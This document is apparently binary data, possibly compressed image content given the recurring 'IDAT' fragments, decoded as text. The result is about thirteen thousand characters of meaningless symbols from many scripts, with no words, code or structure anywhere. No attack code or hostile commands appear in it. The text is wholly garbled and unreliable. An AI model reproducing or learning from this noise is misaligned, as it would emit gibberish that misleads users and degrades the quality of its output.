^/TAb~æED)3\g$ym^!}=4~+^Nn\Ҏ:"ek$!Cv|kuOQoÿ.+<ןvYMf^{2kpKԨJ#OfY/՗yt{rLL7Iv~_(b3ڝͣPd	c3=:?a#]'{%lcΨ2rJz^J1.h}8+>߾oubM%WíG9>b*7rz-.Gzfӽ{n7"oZQXf>&"[LN-a辟ra;O#/jPJLfְڽdG7O
	G}K>ݏVؿPjU霥
HS5Ko`m"#cO?گf~*%^aU=AzYZ5!׏j0B|"NJ*ss?`9>LBΪQUCwE%kZ'')A<Obp@$g8{m)ݗ^c0|Crb&}n#>.{ j?xC؟f9~bw6>!scc$\oJgb
~w(@pŲ~'YߒԀ1Ο%ケ~+-ΖkqwX@Sn`tyAs̫i){^G_:GtVc
燸rLVnN.~DWm'^<qU ALH7
:Km>MD[ ~lŵgٳa<|"@ߟ\(<R=+\+&_ᯂU)<@M=?
*9DO.
[UWgVϏ`'K~r,cᴏr>mIL'0<{i8|nxWa49B"KR|"~?ɟd}R.zce;Amx=)5%z5	9Lɩd~(׿r>$Dgb`/#>)f:g~u@z.sU8Ъ!;ղ`87pv)"{d&؋3j~Gt
8o3̒X1Ǩ	'X4nm֋=DhkNp*t;7%ꆏL|nspIy-p*9;Zԧa`Vo6.ͽFSA-O(<|Т`*Q>b,RN~*xh}jGЮpd+00'>W})f;ŕV>T/_q?kV+Lլ)1&lHlXZIQ笤'3=([Q#9[Qb:}W60O!Xk,|!S<tcmua\Be"?9H֪ph[sgٺӿO/dPk&O5~Tr_vb@Z"j"b}7v%}-J-ؓx(/3֗Qb.?,M?洧PP̊Mn~ćS^ZƣFqqħW>'ݕx'&pJGGY[(m(1LE)NtƧ?nPE//(usD?4[j?y*+ŝ=<q!N^aI|jߝ>ߐx<w'쿩YzaY^6p"gξ*=){幓_{oUkROV *>QRʹWv}
E.J$YZ_ye|kG=
Nq=͹jpv%SHoa|Oͫ~msAw
hhaNTwmpb8|R$nLl0wM쏌؍[yBSHuE:`twh٘~v$3y<KN@	NRGKyM?Eo-J)=+EќX93gpP_Qm~[k] {>:'7$ZRCOtgqOӟ9Zs3$s+0+v^g.1)ow"+^up+({.zRl\!n&>!WORKSerQjA?9)'Xm牛xy]p[W^<å~3>хnAtxN?PFFhy'FdEcKΊz֓{d%hJ
`
>pr"7TH^f/YӨ:Fqbڪn4ꆟUΊ. }'pAC?8:fQ/+6>(;ޗKଳ>
~3$
.0aAP"+_;kZ'p^rk=ӻ'x`D'$HGC?'0XXK[bxMl=hVh},V{
SNqڸdo"EFTGl6>ϼqi;A⎹ꧦКղޣ:dWS={ϧ"#):iYO>y9@e֜'oߖ
-QN
!Z%'t*Mқ5%I爾<;分~Є*~[ggNkn}|yT[llgg#5I{Ƕ>VYOi}xRH,P$>JowE%e2t7UU}N{J*ZFLyf~${fVCkܜ?7М/PtWgO$9N)i>(Л$)$O:v=g;r3l\&9^>?lnw9O#w,Ix8__C~=7W9*|^/'t{VG前)ȘK "09|uw{ͿG[80EW{I'E8ST9TŦf:eΙ?Y0П/R
YuoUl[n!3_SqIL!6~X@aKNH,Y|'=^ۘ9r>{W_X@G8G>};.iNϕs4mG+~^Os@*Y<gB飠sdMUFLo!_ +@<)[k/W+j:1[8ez'>Up	f>͖;X}`O1iU)Ѿw*mBE?SՇe}[KLJl\QvGxkҷo
f_*uR!a<-swEj?-)vJgN
8s5`">A\m$O|_Oȗ6zզ&^ZAy_7#y{]Sazg=$χu=XS={v1):In@nGb,G蝸ÞUSOk=+<<Xl15
"8z(jKX#9
R|mf/9f1E07
s0~kp38bK{Ĝgxڻn@~N=X\M`^[Ǵ؝;\h<(3q)D»Tܻ2'a/|)i6W.m`Rx >썫c6%H?VmaǾOZ7[J{w_Y~mZtbl3'	 q
	N._/;3s2'#zk~ajV8S1ŝMjuUE8a'r;	_|%kx7`Ƭ\S>ׁ_3g<zOܧWlr6=3ģ_OH/U۾Pr|sD0G5ջ8CwIs97 <Qeυ]l?w8llnm.!⁝{rY)$Kꏰ@.z诏i,#_
LZzD?j0K\!1O4@TIQp(jǓay'MOU	Hw`su?솺=륵.1ǧ{z֭|O?fκYc{O^;?f;Uswkcp[5/2,ws.u9땼QsB;t
x :q`88iDtOTOZERX?RQDypf;jČRϹ,>kטZ]`і#^̪И{+"0ojhlW:@ڛ?k}蝻ϓDywR))Vfߟxu#eF\WFX'̓E]-	ɝaOK3qG6sK>{`k;?@iUk֞YI
`5?cwDmP)Dž/"nl\gѸȽ?5kSky}ғ*A10K_!^<R震cPSlU7|x0Og;Dt_Ox?)C4ϟ;>o_iZ<_n(a?:?'O`[D}̩YUoNbhٺ	{l=U|c>YlvVO` hq1w1"Gd;FW.7ePg&H/4Bi_(]gH\qh>ɰ9c.qmӕy>kI/SGi,I|I7R[ZʩoMWg`ܼړ>IO\Z
%`4vUy{R/4l">ZΐWwbw¶atߞ}/˦oMxvwߡO}]C'k?K~GCVwӚN* (v5k@P1?3g}1
5G&{#9}IyЩlf1(weiߏ9qe쏄g%Htkb;{||OX;+{Қ_SׁZӒ?N#m~IfUS}Qog".%V푺O~;~)V]6D?cmΌY\{=]up˿r{IY01w&%uRPv)Rs<>wlۍҍm#Z5N	Y/"߿\9
N,*gzқb_M>a76}~?x]K^^64}&o9\9hT9^
zY^OIqן,uO尺>uJ_;EWXwU⩎:էxgx>O3GEN\:>֜Sjv.\S*DF3rr4'/HZnk
bZs֮@k=s2!9*hQJE^+b]r}X!a:H*lo:Lg
=7yyirI۫1/_#uNJ?b벞9}ͺ*PvHPD<MO𕙔f<	^QTѫjT*RU\?	]2K(v?E,u[W֙s2ʿ#Mƣ;-tֽ3DߘdsgAS]^*abR	6;}s:8QkC<?}#}UL0͟W@F9h &.(ONuQ׺m"HRԟm0Smh;.
\[DZ[hN^ɱ)\A3j?Y _aHJTx<hDJ
l7~'I_˗LN#.VF8V+
8c35ViDC_Оt*ޚ2…O./ ej2?w 9Ҹ6dxoڇWnU?)4Mgu$46҂(\>7	(+?PZux$Eo{BNHJp^#s!#~؁Cuѫ7fo\U@"}	7#S^qa@ZYi>[ׄAMڪcC%gcb%oLܼU84NJSg^`:B{c1a)91]Gp\lyNb0;h?ۻG^:`x9~Wش^6k\rg7Jǀ{;pͯ7bPZ
Fn0j,=@_φ'bob
06'b=qpbY륱6>-ĻoQoo|+{63_E	!L<)+Y/b]Wߐ-'t\Pp
Whw'N
a |>A1+y/ԟ{V-tM'OƁgy{Lι	zsSՙÕMDGwT"W)bpO!Tד@}5$ߏogԑʤl<r'j10őt,,upZWwqE,'>pLyr>v6jZ!GQ^g'_Z{I_0ܺ>Ļ#Klq$Jܮ?Ϲg99'(e(Pga:P[z
\''ǵ[!F\Aؐ7I%LIy_sbZ5D3_wJj<F\Ӈ~~߿K{aV=]-9'_מNOw`:?r)q_RPkUyeLEϺ
<LJ^π?	K.&B},9knX~~/'Cr	j1X&!'4&0T"
X`%֕Yx6n̡˓q¯[[fȾ5w8[ϫ0*O._N\
{.=c57?NEMmOGtk\=_^__fi- 39w^|<gJ+s'i~m]XGRǃrh;U/ߺܻ#77+Wz{
ֿ>7{W7y˷sMNadզwJk-ۨnGS|#RD`o;8<>4eѐdܵozg|]$yV3\biF6WeB9e5S!pB0~#N:_I4k|1twV+*ڔN~ꎍ]{_2Xݛ;,C{Y~[|-NJ3SblQ?^Yn*	~U(gmj2ourY^xOwp7(&-wgL9?~(d	uٻ>\{4WgΛ;rxsǚ6rדq:_.K=qL]y(Qd+|쵮l<ӳFҼ".u?jLU$صG\:޼ac q$zk.|wm{lZ
gA	FEObԬ4>_UO󿙮.	WdobC"F2@ܼ3%K|Bl]'m}j=U'
G}?V]V:
v=+۶'dd?G22Ǭ.*/^P~[Bu[XɪHp7G/doK7P{6œBkLC5IvVĤ}0b^MOzwA,>z{'*A^VZo#P׹MtKduD琳rUkݮBKLwn1SW$݋Ml78
Կu&zq
^~6
Z'{W窏YX5FW|Ɔ6240E#'ȧWcgGXN_Jeгu< z^޽-nuP}9{{9Iq$٦~3{O
|_bL93Lyw2Aw|Q529W^s\DDaR?=Oڎ
~gŏnU_6Ѿ&`9:Oo_8:7;Z$<uCPw8X>"(+{l^R^=[FT|/2ڣ~͹{
vg>ye~qV٩	pG`
rc>
3;6toN
sUr|;)y=_E>uf}k^ht|Ρw^+wϲv@BW,}?__{wΰUOSzmZuǩ3s4c%#^z|DW8{ǚWN-2"u}W)ۍ|=t
ܷfgVo躯M
`9 IsJkwRՙj=˫G&.w:3x]k];I}Xub?y1q4;@UF*f'^v)η8yh^	l.c/=571}wH+zixt&ySzJGuꨪ:Kww=flBsW,We;[e|oS߃<gLoVOAU}ƏQ}ir]O^~RٵI*o"䔺v5ҕm.su?	y!aS%`n	y6=PLC->P9Y~
{b@ڪ/-#&zD(݀ ͱ*߹D3i/(>T]`XZmeRۋrE?`pq>-12⏆6qQgzfHus$?_yl&|{!;j'Y[_xd?jOZg?ˑ@.k
l}k#z"Ţ x	PZfbZ(~U!0֔y>1^]QVڜgꜽQ<Q<=cM~R6Rmzпرo*	`$Gs:G3!䮭"y@/+Yd{*ݱG7RR3&$gj=Zsόq fvOҚ}?\j}5#=UZۈV&y䥰sBdz?b^8sg+iexW:GٱxT',2On"53A>rqg8f|v=p-9<'&5<4)$S}lf1WuLgпf|^bMw'tL}o
󗋶'*lg\g;$;7G;@_yU_4Q?U>qޅGX'rz$
<3ge[}`xmL&DzꨣWcb8W6X:(fE	̢Z'.2!Ɗ8Q9<Y}rH%I|_oed	f^rhJlsfӾ2zPM1tO'.I1p3/ߤ
PZ-o63Z|/^'*{TRij,tT=geOp^[nS*EN}iKB"Lp]JpE%l^'ro]jaH\1fl,<?`C	+Ei7k+@rݒkĥ Σe_/n

Rpï|#a}PAMՒe,#2 q>S!6)>)Kp,OYOenӳ貪2tJlO>\8u/*lQ+.Rf4=ÙH|Ds
ŇnObdslo* sڑ+bi:>!ǿ_+81aD!G
65l=Pq89;|e3o+~|<ŤmFq2`cy
egrOkFrf9kY3R׽nemp]%N/8WR!8oE.KVS&`+N%?vu印&-;k>nYrWbʪ^Ya(^iiOsۢ ˊ%:q@nlk(gOu+l|!NhSB`:XߏܩsrU?)ɗ3sY=]G)$I=sN֭;9#v	3[>yӽF/UNxvh:9iz`]_{EVߏd\[ȃ?bLl?jRDTZ$Bv%H3?'{'~/
嵛-yN9&vf;Oƞ~*oYor#Q)&G>T`</~vUu&(h9׿hgSbױ؛?4nQ֞TYyMQ?*'_?[,wnqWWy#a5oF,TM^yy>%cQ(dhs	?7Mйuw;70zz%0߾?cXÚO[O|bQ_NchSх9m}ay_ZZagj$!-)~
0c圧a]%ߤLX2fX8[Vq.)?Gug_'LCȣj_Q=/}t
{[=eι񈊲]	k/g%:!v0ZY
9FoU5EE>9Yj9TE]"Z
5ы_\yZ6X2kw9ҽb%3\5חNs2~?٘_]PۀR犅Rb8Y)W!UG]uRW@컎|f,KyY/&wv#f_?r娠F>_X6%7/Rwrۿ!I1UW`SI!ߘLQ|>7nCߺ[kdcÜ9z}cZSi]pϳ>{#4bmbX;גC^FԇPonc$f2Q5wmA@+P~♢ԗ'j1([K]US9U
2ߪz )#C0s [[器hk^
%v5*`cI_Bazr.+ݖc艪ě˫R{{ºɪEy"y_ {\1/>^ls3'::g4P>8?Xv}},õUF[%Kh|J8$V1Oyͫ}u2OkKyoBW}*/4?AHkK#t?QOؿWW~o'.v}pǩnzMU^cT#x/~`z}z֧&pd~5]Ay>ٗf+䱽9s_8書ۿ&j5`Ö@_oFy9擿J!ޱ\[9[޻Jזz6x7c3ϭN^O@}7q
'J
e.)POc^(8ukq<D})b(?Dw7:G#4{欧n%{ZrBZg9JN
3z\"HU!K'}0=RK|/1m8ݓ[7mQkFW#NZIgxZπϿy5w?)3;_:EP;bCFOw?\[:tG]s7wauqn\I<{?wz[y|r|\}A{=w}yb_?E_^?Zeߝ4O5^+VT1b:p>t9;0.Ĕdzv>|p+)o1&@ <+8'&fCӣ5αOػpd5V=:<%	Y:go]uY[T..t1g3QȞ%a~a?^A<%
mO{2d)<WyqUl'>5r{?0=f0s9I;1a6b)ph]Ͼc7+@Քv:m
}k
eړt'QMcHg4tĬ{`'^H$J7[Sj".=7*ԏ@L{S&c5S?m-V*hyR~_۞N#͹3lS̆]u߉ymY>.s6ykҤ=GK{ޚjHZekW}؛ϊ@f#Vmߵnb@1ۚA29`4w?'q<Ch[dzO}JO+[RI=bY3 bdųsR>'%`v0쯇\/*3YWfSp5?iٻ:1{JLN
p)TV>G=3wASOtϪ2ԥCzti.{1f/,K'̮V'rfF{୵4?|twڧܟQj"=Gw~0|3M	m޻\-kϷo穎߈q%$ڂ%F伴*RZ=}Q_#E<ZE
(5ӗxF4G0ꋭK0;Ywˋd3m+!<vtT^{n컺Ia;,W-W12hmlei{.	;Pk@K.aqV4
\{_3@˖F|- ˙ ĉ3(joyWSCw@IDAT*=崘n1._	M6{8u`WMZ(fk9[+]N+޴~5}cϏ
kL9Kr^䩢7X<^yI?CV^ ~l' !uBtor#YyD`k|<:ۀKQy37jOJK>A<tyDgoe8$Cr_>|M|#b3R͇1L3`G+ޖ"{V\+b[\吽s,tP%]罿[+sxjVy ZY5y G@p9YI㰘KOXXޔhHz<ۗstbxڕc//G栿$t^[1uR^[K>fϤVpc/5PD_s<zJdo/9Q04e8,~Huor'AҶ~XVN%NBd~+8=wNqxbt[
|Vf)qɇs0zE2Z݌ZſU<S9|bbN'jWɱo-6۷q?7oym<Ww_O闌4	as(`}%T?s
w	\g_Z̿6.OR+}nk}fnN\TkCQ?^r~8?5-W'
}eo>' y	t,\[K2ˏ@ᒻ9i_Woe5ǺV|3sq;[G*|e?\qi|>wSûG"qڧ&{o}i,'X{{;ӳp8ѾB2tEQHM̉kf#!_~s??Ay|&N(->NxsIݟiE~rEɌޙg/8q汮z*:f&>	+k(rzh>o7rtEd	~=i(G腸{g[4o~C'rt[vuAWǍ<#sםmSn>տI˙OKL+QN|?|_!dٶ>@ufGaW[=?cÏ>0mR}
~o{x&uwNsͨO_
*f=ѿBK
mvrKFQTAެW[I1zZ7{c=c5qws4)cm,}䍢
S8ٝGv,4+~PG9~J9@gX5ڵewy>JΏ	b&:yVr*=G_@uػ?q#D}ߏ	rs	ܽHg.&iI=ðb<-MԱJW'Xl.7X=|53|fuGSko]Qfy4#Yl`6iA>RJ*g&=CtÅ0[zrfR5G3o[uဎ2^-O-$TN)˶^Ef瞷$\U}|Ȏ=>.~hϢvBֳm:fG(u=$?89ڧvn2ؗm}ai&1ߺLh8>}
XqoXƖ9WT~=$qhx
Abx}P&wQ37ƅ7MU	vߕp=Xz1]/l9
M޷7QE|hf;n~k;gqaߥqi	_/y:K`7wU=~"}p?6x@{ذ}~c׶̩Vvt'Y,:
57~aܽ6P5'./(s\詿k׺?{o5&nA3FI	(Jw]U7@}Rf}ى_/ͭg-T3w
}E3&}
R_Mۨ:$ISi_!oOalz߿ Y&]w׽|ZW4
=gԂN>y3鿩Y[/3
խQ+gD#๺-{i.LQ}'}E7{t̲zcrԬٷKw'Rg0Y*(҈r(_s+{*VۉDn5T&'9|tu~/ZoT
Dd<AlH?m*7a]Wdُq:|'K2í	[JTVBu$ 	oųȹΏY(O}^"=_bw\HeNpzaco9~/ƥGĆcoB=wuwy[c?Oq"WݞڧW?Uwq4%=Q8gSy`Yĕ5g\qG@T'6P;+cr\%{-4\n39!mpѷ?|N}
L+K!jwVےīWzizM,k7_=Uw*/`Lr~	}0~:qBwN# dۏa´=*=[X"~f|;x=g'X]=R{Jk~{~RT|YG;/ǾSt`D|}&ԺPZ8RykvԮp,GcSz
S~=LCݙVR;|߇H	:U?|j<?m=Zgwtlo;Ž1y7TOr_>3:iK3oG{U;^s(MuN]"L%JnBq6sꛎ(&24)4Aǽ^`@9[/nvs6*xWm@dpuzRea
%=;:Go
L#ݼȲN$Ș+1߰iP<^yTi|UΕT!Gj7RpҭA,?1qcG$.$7/>qdIylDZ	T̻sXӐshrϚW;UsROP2'>sB\kUd=ƧF,+7']n/'[:Ʉ?խ^ǁw\ݖ}ypzzn8 ֙7~^_o#V1j<P>(@d6~
u~[53F'8}gz*
Nl7\N$Jqo3Q<aݫƵD!=4v1gW4vp`Lҡ*eeF37"ZR׺@gbЮl]Y8eU7~
tt OJxkş~a;٬gӥ?ΠA$Ė_%]?Uk߹zgIg7	bBgFQxg~*-&/hڙJ
VҮ8R/zH͔L:šQ:'';9tO6|@~k5o ͙0_<k?{N[3qWUG]_A3Eˠo!zEy
gn{^m	/O
XL+gk{g}~:[b\@+uR\?7".89K߫zByjX&	_^g#p'[t'-wb.|Yg- ?=?|>M~! 4e6=pT/4L/<t&T{m;NOgfcXtPpa/'ֲa<՗{_\/t{cOZV?3n]_u=4?3񿽢ISLWUͩ-Iw_ʿ/K31¹LD&yWe.Y^&^m֟)o/oGHK|E#ͺZtG
Xby#tB8lv@y~v9n'k5R+Hz4s#KYPVERsȟ4g4t$o0l_ktEJ2SGKl]p>QO~1UO7H5&D@'0ݗ:EgZ"g?բOSWljOwW{d>v.7n}5=/t"7Z
<[>K={O>ù'pCϟؼ]/+RGWC<bG'Ud.Tx'Y7(>hr%W3WBp<ʓuL..?<RLƿ1Ax˗{iEW&-g	 FOJZ'	էVm~R|#S~B0q4„Ym
1dU`mD|cD%,
y:i7Vix1nvh<3UC[y9\(.2!?.??yH.&?|w?cڣ$5oHR		0mJ+|~k%7dx<2 SRW`ax_,{ķ	PJXZ{zOlcx	nӿS(r	S
yRs|icΣ!(Ey\/~#
>'0B'њ^+`&)&uvD>}JP6W
稦d~Y@XO4R=3<ho4N:{cG|iF-#
;~s5>17^o?"}џ+6#OiosI+)^'n4Ě?Zߺ{ܠh#$v`wij>\9=oh~)p&NVVIo8Y
{6`Ť͇'~渝o|?s{gkߵ?'Godt*Y<斘g	(M>2'F=:.Yık>։1ݟp}\g=6s7V9+S;֏Güa6Eë΢:CA+?T牊V#@Ts{{P
OM۞:;T笿gw^TxRj3ҁcRš. ^>igU6B~bT9E?_ex̻jE
ŗ럜>SQ~+E%[|;bOxUVE{H}{@VE{긄1q*{b:(H/'v3qϤT t'}J~x7+|)y,r0l&a;~
G	mޜt
־E(z{>KR98	n{$MxiJ)[>ލth?#K~7)-Τ:	* _|L^ \LU}<٢EfUA׾z3k'<Ế;bɒs(k3nä<juS:EU?^4]s}upˏI]Ha`9L{+&SBR]mثNP^^C6uB򜔘n@|wS\tR:x<YFeA^:3^xy䠐8-f[dAs]OAbYz^V?_:h#p='ƨ3UpNҹCOM9fvbTU<iR0*K}`ᷗ9	Ԃ(s!vE	e'k_"CQ7$e_0_B6stu0*RP<׽xitؙ욣^4ΏL1TT|2tBW)|c7ޡi>;U~تfWuA̙X,ZoB˽4VcXꢢOxc{dY4IXzqy?AHJr˩5?|ᄅ:j`J
FÙ怗/7	QO}_|i~쫖e#l$Ir*!ppy$~="B73@U{d̞(spOj	Z'TA^qc."ͻPKs{΀+
wB;z/L#yӮ׃n=y{FWt苻9=g3=:`&@NX~Vrfy#[-5s=~lyأAŗ7!bkgN}* fPsJC{W'F 7?Jg}(_{`GRС?АA;Ws/Y,nw<^aOug\Tg:NcÿPMu4$M#xjeh̺|œִ?[ZWľo~{nrVggF}H`$'#.,Y>
G~SUŁRMRH( 1}?_N+‘gg8Γxh)]oq;IN/VTO!g^ۉYĹ0{ogʖtU-ٿ|/>GCs`FtwIz#@J+\RN'ןW
\p*QŔx
ە9޻+cgAyu"Eb.Eu.:ѻ$v薇HEA7d\DE\yV/dsᑖqcE=&B\^>Y_*)8IުNjqR:VEy~[|w/%I&m9?R$̏oHYvںhNW8uW	yN.(Tx_YaG5eoڹ70x1x_1PrN40@4'ñDD?RDs[+	1Un%h$e;?Z5B!Ѽ֕ETuP^\~hegXUVн!	,/;#Lt´^O%>[@Q`[] }ьj"'Qg.NSTt,IX]$O(ȣ{Ѭ y<J!qtez\s̿cI>凪Ɖf3ALD_R)tl쥫RJ3}~sw]j]/f^Mvݻp	6y;fpKY46cs]{8v;)pjڅ8{b7߹|7\<|g'^p{^QϛojoS_md˟͟^>?hi=I6.\xKOxFccOy=0b]$1:Pt?G_y\%Vj^tBRe`Y{SoPX'xҴO|Ys;aiZ
u2җ,^fCyy~(}lR_q-6̮{5ϲ54Y,!8Aʃ͟|Ъe&*^%_Jz|6;mm|%~
͙	L$uy~LD[)ĝ zJ:A	zf<XQzű>S^}8{)k,%yVٚ*l{O)<:ԾXu!]ۗ>Yũ%l&*Qo/F/ÃjNrc2YyԁquaN !dJʮ2G_.}gЙ?:ce9Q/sP?unJs|	sYo]ݗ46*>IA*UG"kDCWnXa^A^7Wl}՘۵t&{A8jOuY,)/|؋W@i:mLo:@|ODCBCI	cVV=B	 <-mj57Y묲cBzjb!2ٰ
"q>o\\G(׃TÇr	[}8xfm^._38)?w$SFRl^ƚ]tJ+{+o"&Php٫
q*˜&lHUٻc٫J?藽^|nTܸuMʀ}W%7
^@d/i>0`=a)HLJy2&yS)Hm՟V@CaSY	,`-DLq|LB!Q]:LRSYq${/QzjuU<wcDC֑"5
;@
&1JuTRM#߈(3g^sr=Թ:P_Xf_tqe
[3SQ
Zi]t9ِrt0?,!S|^@:]QNr=u:OI;Oq6,wx:Ώ#'9Le|T֏\xO>|.]i\*L]Báx.iYӯRWmwfu}f<	`j~sQŅ\Vx5\5snU
z`Nk&W8éǞYTG=\ьc+ޭwNز{]js*MLu
7?!Q'ϏH?=DsvYk~S=Z|`=a,{vL¯_!"B0HWe矝.p$a0jZ:v=_s6̵֜}J\|.	w~V
\!&78~PUkV_3@b@P&\V}֣uq!#ۏ+!ݹ_:z<@vNɟ^Rݻj59w^GFY*y@o +Ml+av#`+o\;T
T6c*mdW1;=8:|qk5ǘ~߫e:AYYuzZUQ+xƠ:װ9DT۾Ȝτw)Gਊƈe_}s~~
	0\>sR@ˡ??!TJٽd&o<d+m14'稈;Sd+0h%1W}bNu(m@se;t.(j: 8[C8P\!e~D
|%?ʾO"ekgSo]ӗ'\sbJEE="3ʼnnWVa6=ݿɓ{mr;PݍISHG1Y4[b{&f荨=cwYgY3{=)٪ 5U'c"QKL~tf״._.RI񬩁еqus5ش~ߣK;sA\UwN,_pmZ_b?$dNSg4KK`ę[J
-`UtǕQi&Yk}rpT3=%81|)Tz~:R j\}93)H{ΰ8Xzþk3aK`w/kݩ62sxpu˸{j*{1)a3HsyrM{ɿ޿sO?3㨚^;謭W/=V7wp[ݍ^`=0׷範trVil%gzZ=oۉVleSMcu/mlONekcm+ُ߷v+..v=+(Hz*Q򜹞ؓ8i^֟P?=	g&|Y[X#xJs=k}{ҢStE3Q_
mPCz6BWy8o`^~<m~CL[==뻃\j/L=O8*$4O|
kQx>9=dgi8{JJEG#r1?=oϯ:{`ſ8/IROdz2z=L&W>3ooe^?4fk+R	^K}
$1KWw.Xl'J@z_ܾAo};u<ч
iR*ܹս>>,3yTNK^-r%;!/
MD
)#}3i<Z]>M+8i\Z/u@`>_\ib2b.>zkegY:Zq4N).ȉUP)o~Vhs!Rߕ&B:/ޣ@Hx#/1MA⧯;꣗'(*#hbº~-ZRWd"	}t	n~^'b<
c3o'#MQ8aCD֭=ɚ[r]+IPS^L?o+BV@b
,.YT"NV٥w!GltbHint/{/ϯ
	uHn5{姦*mrO
P0rs[!4wҞ|kOyuF,{6!q|+~ͺs9;egڸHL!׽tB18ZOo刺?QA(-+oNW@O}78Q5w+"'_pgN<ցG=:6!'
gꗟڝg)֘]R+NM \<?tMտu0Cb*onb@+3h-3?߿V|Kǽpb~Sx7O6Q<z-q3C{Dx"οs3@YO#T.N{+[nV뙣DAG)ol)M=S^@Oj&]H4ՏqO A2:	rѸʚtnL׿l^,Xy2AHrj:w~Mh~'Wtozo6ޛ/Ӄvh-|]k(@'?Ry]a7
For;0Hwȇ
=__nOY6^JR	vos1]'ף [+P	fvk]srx}.R^:΍ݥW	cY%#3ÝL{J`
-yx޾vi^_5'Jose<`{OARsWq0{Z㫫`#rmsg+_GF[&/XwFfjȀ?oY^+s#JTՈUk|s˹9>Y>	PG5=-)u&ZvV쬥)_KbOPGpV_!M:bd&^k@
'C*g?9!x@Áv)yZB|UCJr6Zjzckc/Ȭgj)}s`e/X`}=w\(~	KY_s˵5أs%fMr^UVI͙㧞AK:xϛz^w&AK=J-A{h6"@I_5mHy> o?ޟ>*wV28 ߙ:E4|͠DZjYZUIy^x"M07\ v6Og3pRxb~'kE@Ru1an<{و˚,x91fTn?1 >\eṲQpWYk8BYzf]I}'V'g.JԈQ/Sw5I8}b޺qu/uᎏo֗os&:W+t 9~+#"kV{b~~ɥ=6a9Sk[$Mګ_Ep(%71bnasѳףQ4F
-Yɑqj~ŏ`ЌXrK;$]Dow-Z*+6C?4AG|1^
N.*!|%[XmԵ߻yK
餮W:U`ޘ}WmQj#69k~G	VCNZ}y9H(C${:\{65K[{Gf@[ol`mQ+\04,j;xmjD=hȐ{<(9]LNmmN97-M{}ۣfxݺI
Y:T
~2[x^L}0eua?cȔk޿5߫=
st[])?ɒu$M}oW^=Feh."
Ay8'0d#ફb?mcC̩$QX˶o#=Kz@?2+* 
Q %#ȑkV=_Sh2GTuCzm̗X?6ISK_͑k)՘u?U&+{óqg_]-'gg'&Ža78;{V*mMw-H\ܺԚ:<[WC2کWb>	G-꒺oiS2<V&vq횰H741`2à5Wbo>KG/RW|<{҇^arŬ{|,46lgX_ØEy>%zxP͸k)4=+|W>tPfj}W.}OW̯s(h!侷g,*PԜ9>g&˺Yk=۵l_SֆU'M)9Zmwe83(W'~rWa6Z!EQO&[H`;(?^+mmEy~;:&gU} i]WS
jz;8A@^ f+CBX=%pGbڿW?^DEWlUVg\Vps}Ifzrm}	\A=&~k@KEgr	}lпј@ a݀,-zս{|=6z3Ly?uu<
B;U=ƐT_!eKBuRq-|աeʆ|h_`6?["۲?ўC5_Z幅>'μRzޯQJ9:ŲbH=q^{':G'++NNTx.<.{H0[G/7(љ(Ť=6ظHVXfG'{_d5=5p:'hW*_$44,O'νj?xޝg}Y^O7Z>cMXjRwݟ{}h˛ǜ^kks=
`8>؜Eg&2UXosG]ߟGعW{4?ݔw@5^b2\<wfnϱ>2&
mJ; qc;<sOZbXF*_=92@Mh.Q?Ƕjxod_t$N9>ZgFԿK™}xLzzx,a8swA;|zG}Q_ԯv}<!'-	':Y*PbZoJ'@׾Yк.A ~xU'/iLQ/w6Tp8'zj>fD|>|N+-eTxqr'"p0U5&e];5\%N~@gsuoߤZpvE9O"po}fb1=s
1aٟkFfTO4S}
~6soIԙYKVLFZɺ&7)YxΞuNgmU<2ӝ|4ڳ}%{2J}7vUVسՙIWoWkؙ/ۿ}giz|_rJ܏M(N'56V9?4c>)OSZ)b9þ곉'UvG_Gm~`%})>wssCǛp?T_9ꟾuA0>g}o"yFⰟ|֞X;W\,EGNhM!d-ʥ74|D{/jŏ}dçN[L^̪S}(3Hq56cNXbzq׷}Iw11?)d9>y.#15Fλ=bϸ9\|5	8+h\wq?'nN-:O%j'(:Ɓ7jlds7]_(!8jc!t#iw~}3?+xp4/ȦCoEOsB86ж宻Ot[f<|@t/9(3o@2V(ew~Τ_?jZ6Ee
||U153^
60ʵҧ8ߙgb}Yu@IDAT~j~W%܋4IqܰMH2ۣU'@©@ўY$+eu~Ys	Eɣu㪳&+`Fͷ>_gxr>ωm7/[uMuU9[Ix{1/z\tX:s~_ʋz~/w7OQu?^<],'mˠQ#Uyt`A}f!m
+׿)f#yqȃwcUpRyQ|R{);8Wwt5CHE>(k,p^6O`'RBo@XqUPr>'fCY._xyZXu&D qùu9a`ş;
Yy.b1'LMUsKi<AtsqWXAr)k}9X
:I-]QQ
0Td,Ef2R°·r8
DLrPMo )c\!^ެed/S_opW1΋lJ?~q0g9"m˪У5lSl
rˇevSl<}^ktF
>6+
ɿcB4D6$LA->Ag8[΅mK">
;{J:rU4ʣ=kƬ+q	y$l5\|GeӀ"9S9{IJD9 -!]r?s}\Uvϡ8ig2|7Ƴb oɹ_V,|?}Ѳ/*!D1Yԩb=Z1J#{s)(c*+Rw9x]>9YM['k`	Zݔ/jG{k*h.yclO~bs$'N/*?
pkx~ZZY(ߞ/]!|Wehm3aW!&~ը}:^kOSY;Wk늳V\r/ʍ0kwMwQS\59a	9wdLL0W#m>dPFp<f~RZ/_.[=i$0,v~ԛ`['u4yxqU83=1_̯鸒㟚	_hV't@:&_5/.5Q<pY,ZDnjg@b
w®O:Ѩ
~
NTTſ'_5dV
>{\t~{sMjW<=2=	
+1'kJE&\y-0[Tg[ϛ?9C!'WL5߀nA\9{\+]i%,|1뮿6./Q3}Ơ>ծ
f3A2=7?2QK(7M}&]e	uFԑܔ0ׅgˈKup?⺝2%!{FJh=k\FsנYII+כgq']O9ifj_s_[++Iq^OHx!0{D*omM-}
zźY*^tpAufIh5	֯ޙ&}vU%{&z?4T ilV}+6K_?ܱ.E5ЩeX/+:̭CRXc3w?.7YZqHNOt߬媺O'cꞕ+><Zz2gwe9B.ziоqm)wjų榑zYb*S_H)=u@j"yb
u}tf%a@s^~ݜ{ce\
u}p'fJ#Wz_	f	n~ ul:xv13Qyb5+|%Q0DrWj:`L!鞮k &uS)ϏqM
g*6sIvgܕM/}wΧNJHBs{WWϤ=j-iOgH{k{.pSlJw}W
5K$wg27N~W]Qb} 1f~N7˞jy~cl[e3}
ݹg!㧏7r	) IԻج7 {c{<w&o5Io}0hZվ$ciWR	<fNpNWeӑvi~G$޳`ܻވ##{ovגZ Kv-0{yt~_|-N$vEZQjo)*Ļw-3~5
L~]ĶtλF_ +te1gT\|u
